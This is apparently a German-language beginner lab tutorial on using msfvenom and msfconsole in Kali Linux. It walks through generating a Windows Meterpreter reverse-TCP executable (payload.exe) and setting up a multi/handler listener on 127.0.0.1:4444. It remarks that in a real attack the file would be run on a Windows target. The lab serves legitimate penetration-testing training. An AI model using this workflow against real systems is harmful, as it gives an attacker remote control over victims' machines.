Standalone Payload mit msfvenom generieren

Kali LinuxBeginner
Jetzt üben

Einleitung

In diesem Lab erhalten Sie praktische Erfahrung mit msfvenom, einer Kommandozeileninstanz des Metasploit Frameworks, die zur Generierung von Payloads verwendet wird. Es ist eine Kombination aus zwei älteren Tools, msfpayload und msfencode, und bietet ein einziges, leistungsstarkes Werkzeug zur Erstellung von Shellcode für eine Vielzahl von Zielen und in verschiedenen Formaten.

Das Hauptziel dieses Labs ist es, Sie durch den Prozess der Generierung einer eigenständigen Windows-Executable-Payload zu führen. Sie lernen, wie Sie eine Payload auswählen, ihre Optionen wie den Listening Host und Port konfigurieren und schließlich einen Listener in msfconsole einrichten, um die Verbindung von der Payload abzufangen. Alle Operationen werden im Verzeichnis ~/project durchgeführt.

Verfügbare Payloads mit msfvenom --list payloads auflisten

In diesem Schritt beginnen Sie mit der Erkundung der Fähigkeiten von msfvenom. Das Erste, was man über ein Werkzeug lernen sollte, ist, was es kann. Sie können alle verfügbaren Payloads mit der Option --list payloads auflisten. Dies gibt Ihnen eine umfassende Liste aller Shellcodes, die msfvenom für verschiedene Betriebssysteme, Architekturen und Anwendungen generieren kann.

Führen Sie den folgenden Befehl in Ihrem Terminal aus, um die vollständige Liste der Payloads anzuzeigen:

msfvenom --list payloads

Die Ausgabe wird sehr lang sein. In einem realen Szenario würden Sie diese Liste normalerweise filtern, um eine bestimmte Payload zu finden. Wenn Sie beispielsweise eine Windows-Maschine als Ziel haben, können Sie grep verwenden, um nach relevanten Payloads zu suchen. Versuchen wir, die Payload windows/meterpreter/reverse_tcp zu finden, die wir in den nächsten Schritten verwenden werden.

msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"

Sie sollten eine Ausgabe ähnlich dieser sehen, die bestätigt, dass die Payload existiert:

    windows/meterpreter/reverse_tcp                  Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Dies bestätigt, dass msfvenom diese spezifische Payload generieren kann.

Eine Windows-Executable mit msfvenom -p windows/meterpreter/reverse_tcp generieren

In diesem Schritt wählen Sie eine spezifische Payload zur Generierung aus. Basierend auf unserer Suche im vorherigen Schritt werden wir windows/meterpreter/reverse_tcp verwenden. Dies ist eine sehr gängige und leistungsstarke Payload. Sie erstellt eine "Reverse"-Verbindung von der Zielmaschine zurück zu Ihnen, und "Meterpreter" ist eine fortschrittliche, funktionsreiche Shell, die umfangreiche Post-Exploitation-Aktivitäten ermöglicht.

Um eine Payload in msfvenom auszuwählen, verwenden Sie die Option -p (oder --payload). Versuchen wir, den Befehl nur mit der ausgewählten Payload zu erstellen.

Führen Sie den folgenden Befehl in Ihrem Terminal aus:

msfvenom -p windows/meterpreter/reverse_tcp

Sie werden feststellen, dass dieser Befehl fehlschlägt und eine Fehlermeldung ausgibt. Dies ist zu erwarten.

[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option

Die Ausgabe besagt eindeutig, dass LHOST eine erforderliche Option ist. Dies liegt daran, dass eine Reverse-TCP-Payload wissen muss, zu welcher IP-Adresse sie zurückverbinden soll. Im nächsten Schritt werden wir diese erforderlichen Informationen bereitstellen.

LHOST und LPORT für die Payload festlegen

In diesem Schritt stellen Sie die notwendigen Optionen bereit, damit die Payload korrekt funktioniert. Wie die Fehlermeldung aus dem vorherigen Schritt angedeutet hat, müssen wir LHOST festlegen.

  • LHOST: Dies steht für "Listening Host". Es ist die IP-Adresse des Rechners, auf dem Sie auf die eingehende Verbindung von der Payload warten werden. Für dieses Lab führen wir den Listener auf demselben Rechner aus, daher können wir die Loopback-IP-Adresse 127.0.0.1 verwenden.
  • LPORT: Dies steht für "Listening Port". Es ist der Port auf dem LHOST, an den der Listener gebunden wird. Sie können jeden nicht privilegierten Port wählen, der nicht verwendet wird. Eine übliche Wahl hierfür ist 4444.

Sie können diese Optionen direkt auf der Kommandozeile festlegen. Fügen wir LHOST und LPORT zu unserem vorherigen Befehl hinzu:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444

Nachdem Sie diesen Befehl ausgeführt haben, wird ein großer Block von Zeichen direkt in Ihrem Terminal ausgegeben. Dies ist der rohe Shellcode für die Payload.

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>

Dies ist als eigenständige Datei nicht sehr nützlich. Im nächsten Schritt lernen Sie, wie Sie diesen rohen Shellcode in eine verwendbare ausführbare Datei formatieren.

Ausgabeformat und Dateiname mit -f exe und -o festlegen

In diesem Schritt finalisieren Sie die Payload, indem Sie ihr Format festlegen und sie in einer Datei speichern. Rohen Shellcode im Terminal auszugeben ist für die Auslieferung nicht praktikabel. Wir müssen ihn in ein Format verpacken, das das Zielbetriebssystem ausführen kann.

msfvenom bietet hierfür zwei wichtige Optionen:

  • -f oder --format: Diese Option legt das Ausgabeformat fest. Da unser Ziel Windows ist, verwenden wir das Format exe, um eine Standard-Windows-Executable zu erstellen.
  • -o oder --out: Diese Option legt den Pfad und den Dateinamen für die Ausgabedatei fest.

Kombinieren wir alle gelernten Optionen zu einem einzigen, abschließenden Befehl. Dieser Befehl generiert eine Windows-Executable namens payload.exe in Ihrem aktuellen Verzeichnis (~/project).

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe

Nachdem der Befehl abgeschlossen ist, sehen Sie eine Ausgabe, die die Erstellung der Payload bestätigt:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Sie können mit dem Befehl ls -l überprüfen, ob die Datei erstellt wurde:

ls -l payload.exe

Die Ausgabe sollte die neu erstellte Datei anzeigen:

-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe

Sie haben nun erfolgreich eine eigenständige Payload-Datei generiert.

Einen Listener in msfconsole erstellen, um die Verbindung abzufangen

In diesem Schritt richten Sie einen Listener ein, um die Verbindung von der gerade erstellten Payload zu verarbeiten. Eine Payload ist nutzlos, wenn Sie auf Ihrer Seite nichts haben, um die von ihr hergestellte Reverse-Verbindung "abzufangen". Hierfür verwenden wir msfconsole, die primäre Schnittstelle zum Metasploit Framework.

Starten Sie zuerst msfconsole. Die Verwendung des Flags -q bewirkt, dass es leise startet, ohne das Banner anzuzeigen, was übersichtlicher ist.

msfconsole -q

Ihr Prompt ändert sich zu msf6 >. Nun müssen Sie einen Handler konfigurieren, um auf die eingehende Verbindung zu lauschen. Die Einstellungen für den Handler müssen exakt mit den Einstellungen übereinstimmen, die Sie zur Generierung der Payload verwendet haben.

  1. Verwenden Sie das Modul exploit/multi/handler. Dies ist ein generischer Handler für eingehende Verbindungen.

    use exploit/multi/handler
  2. Stellen Sie die Payload so ein, dass sie mit der von Ihnen generierten übereinstimmt.

    set payload windows/meterpreter/reverse_tcp
  3. Setzen Sie LHOST auf dieselbe IP-Adresse.

    set LHOST 127.0.0.1
  4. Setzen Sie LPORT auf denselben Port.

    set LPORT 4444
  5. Starten Sie schließlich den Listener.

    run

msfconsole zeigt nun eine Meldung an, die angibt, dass der Listener gestartet wurde.

[*] Started reverse TCP handler on 127.0.0.1:4444

An diesem Punkt ist der Listener aktiv und wartet. In einem echten Angriff würden Sie payload.exe auf ein Windows-Ziel übertragen und ausführen. Wenn es ausgeführt wird, würde es sich mit diesem Listener verbinden, und Sie würden eine Meterpreter-Sitzung erhalten. Da wir in diesem Lab keine Ziel-Windows-Maschine haben, werden wir keine Verbindung sehen. Das Ziel hier ist es, den vollständigen Prozess der Payload-Generierung und der Einrichtung des entsprechenden Listeners zu lernen.

Um den Listener zu beenden, drücken Sie Strg + C. Um msfconsole zu beenden, geben Sie exit ein und drücken Sie Enter.

exit

Zusammenfassung

In diesem Lab haben Sie die Grundlagen der Generierung eigenständiger Payloads mit msfvenom erfolgreich erlernt. Sie haben den gesamten Workflow geübt, von der Erkundung verfügbarer Payloads über die Erstellung einer finalen ausführbaren Datei bis hin zur Einrichtung eines Listeners zur Verarbeitung ihrer Verbindung.

Sie sind nun mit wichtigen msfvenom-Optionen vertraut, darunter:

  • --list payloads zum Anzeigen verfügbarer Payloads.
  • -p zur Auswahl einer spezifischen Payload wie windows/meterpreter/reverse_tcp.
  • LHOST und LPORT zur Konfiguration der Verbindungsdetails der Payload.
  • -f zur Festlegung des Ausgabeformats (z. B. exe).
  • -o zum Speichern der Payload in einer Datei.

Darüber hinaus haben Sie gelernt, wie Sie exploit/multi/handler in msfconsole verwenden, um einen Listener zu erstellen, der mit Ihrer Payload-Konfiguration übereinstimmt. Dieses Wissen bildet eine kritische Grundlage für viele Aufgaben im Bereich Penetration Testing und Sicherheitsforschung.